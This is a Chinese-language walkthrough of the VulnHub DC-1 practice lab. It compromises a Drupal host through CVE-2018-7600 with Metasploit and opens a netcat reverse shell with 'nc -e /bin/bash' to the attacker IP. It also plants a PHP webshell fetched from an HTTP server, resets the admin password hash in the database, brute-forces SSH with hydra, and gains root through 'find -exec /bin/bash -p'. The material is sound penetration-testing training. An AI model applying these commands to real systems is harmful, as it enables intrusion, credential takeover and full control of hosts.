vulnhub DC:1靶场
靶场描述
DC-1是一个专门建造的易受攻击的实验室,目的是在渗透测试领域获得经验。
它旨在对初学者来说是一个挑战,但它的难易程度取决于您的技能和知识以及您的学习能力。
要成功完成这一挑战,您需要 Linux 技能、熟悉 Linux 命令行以及基本渗透测试工具的经验,例如可以在 Kali Linux 或 Parrot Security OS 上找到的工具。
有多种方法可以扎根,但是,我包括了一些包含初学者线索的标志。
总共有五个标志,但最终目标是在 root 的主目录中查找并读取该标志。您甚至不需要是 root 用户即可执行此操作,但是,您将需要 root 权限。
根据您的技能水平,您也许可以跳过查找大多数这些标志并直接进入root。
初学者可能会遇到以前从未遇到过的挑战,但谷歌搜索应该是获得完成此挑战所需的信息所需的全部内容
技术信息
DC-1 是一个基于 Debian 32 位构建的 VirtualBox VMware,因此在大多数 PC 上运行它应该没有问题。
它当前配置为桥接网络,但是,可以更改此设置以满足您的要求。网络是为 DHCP 配置的。
安装很简单 - 下载它,解压缩它,然后将其导入VMware,然后就可以了。
环境配置
1 | 靶场下载地址: https://www.vulnhub.com/entry/dc-1,292/ |
下载之后使用VMware导入DC -1.ova文件 启动就行 将网段设置为NAT
这样就算是成功
信息收集
扫描机器网卡上的所有ip
1 | arp-scan -l |
看一下kali的ip地址
1 | ifconfig |
1 | 靶机: 192.168.154.129 攻击机: 192.168.154.128 |
ping一下目标主机看看能不能ping通
利用nmap扫描一下端口
1 | ┌──(root㉿kali)-[/home/kali/Desktop] |
访问80端口 看看有什么东西
大致看了一下没什么东西
现在知道他是Drupal CMS
记得Drupal有个远程命令执行(CVE-2018-7600) 正好之前复现过的大致记得流程
漏洞利用
使用神器msf模块去搜索对应的exp
1 | search drupal |
使用exploit/unix/webapp/drupal_drupalgeddon2攻击模块
1 | use exploit/unix/webapp/drupal_drupalgeddon2 |
使用payload
1 | set payload php/meterpreter/reverse_tcp |
1 | msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.154.129 |
成功获得一个meterpreter,使用kali去反弹一个交互式的shell
1 | nc -e /bin/bash 192.168.154.128 7777 |
1 | nc -lvvp 7777 |
第一个flag
他的意思大概是 每一个好的CMS都需要一个配置文件
so 我们查看配置文件
第二个flag
成功获得第二个flag 发现还有数据库的一些账号密码信息,登入到数据库看看
1 | 'database' => 'drupaldb', |
啊 怎么回事数据库连接不上 这是怎么回事?知道的大佬麻烦告诉小弟一下我
我试了好几次 都未成功 最后将shell反弹到本机试了一下也是这样没有反应 算了 正好要下班了
回到家的时候 想到是不是可以写一个木马文件进去 蚁剑不是有一个数据操作
写是写进去了但是他将request函数过滤了,还得绕过太麻烦了
想到他既然可以写入是不是也可以下载呢 那就试试吧
在本机利用python3开启了一个http服务 至于为什么不用python2开是因为命令没记住
1 | python3 -m http.server 7777 |
首先目录得有一个php的木马文件然后进入cmd
下载好了
我们进入目标站点看看
不负所望啊
然后蚁剑进行连接
连接成功 现在进行连接数据库
好了 话不多说有点迫不及待的看看数据库里面的东西
看到了两个库 flag文件说了在drupaldb这个库里面
翻了翻这个库发现了users表,查了一下用户名
现在查密码
好吧 还被加密了 这是什么加密方式 ???
网上查了一下说是新型的hash加密
Drupal 7已不再采用Drupal 6和5时代的简单的MD5加密了。据某个帖子说是因为现在有一个在线的MD5数据库,可以查到很多MD5码的原文,因此Drupal 7的开发者认为不能再继续采用这种极不安全的方法了,因此Drupal 7采用了新型的Hash加密方法来确保密码安全。
Drupal可以利用password-hash.sh文件来生成此种加密的
1 | find / -name password-hash* |
发现/var/www/scripts/password-hash.sh ,于是到www目录下,然后运行
1 | scripts/password-hash.sh admin |
返回到数据库中更改密码
1 | update users set pass="$S$D5Icw5I2FlS7lnwztuc.cyD6LnbroQVTnaSmiHSGZGxIuD7jpbJ9" where uid = 1; |
返回目标站点进行登录,寻找flag3
第三个flag
于是根据提示进入etc/passwd
,找到了flag4账户
利用kali自带的hydra和rockyou.txt进行破解
1 | hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.154.129 //爆破密码 |
出现报错 意思是没有发现rockyou.txt文件,不对啊 这个字典是自带的
进入目录看看
1 | cd /usr/share/wordlists/ |
原来是没有解压,将其解压就好了
1 | gunzip rockyou.txt.gz |
重新输入命令
发现password为orange
破解完成之后连接到flag4账户
查看flag4
第四个flag
他的意思是不能用相同的办法来访问根目录 权限不够需要提权
提权
提权我们利用find提权
1 | find -name flag4.txt -exec /bin/bash -p \; |
然后进入根目录寻找flag5
第五个flag
在root 目录下找到了最后的flag,最后5个flag全部找到了